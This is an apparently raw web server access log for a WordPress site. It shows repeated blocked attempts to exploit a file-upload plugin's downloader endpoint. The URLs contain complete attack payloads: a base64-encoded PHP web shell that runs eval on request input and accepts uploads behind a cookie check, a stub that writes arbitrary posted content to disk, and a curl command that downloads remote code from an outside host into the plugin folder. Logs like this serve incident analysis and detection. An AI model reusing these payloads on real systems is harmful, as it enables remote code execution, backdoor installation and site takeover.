HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:07:07:46 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:07:21:24 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:51.0) Gecko/20100101 Firefox/51.0"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:07:50:27 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:07:50:27 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:07:50:27 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:07:54:12 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:09:03:07 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2731.27 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:09:03:08 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2731.27 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:09:11:54 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2934.25 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:09:11:55 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2934.25 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:09:26:04 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2844.32 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:10:03:39 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:10:03:39 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:10:03:39 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:10:08:06 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2897.84 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:11:02:12 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2799.78 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:11:02:12 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2799.78 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:11:14:16 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:11:14:16 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:11:30:17 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2670.59 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:12:15:18 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:12:15:18 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:12:15:18 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:12:19:34 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:13:04:54 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2727.31 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:13:04:55 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2727.31 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:13:18:49 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.90 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:13:18:50 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.90 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:13:36:20 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2650.81 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:14:28:17 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:14:28:22 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:14:28:23 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:14:34:05 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2856.64 Safari/537.36"
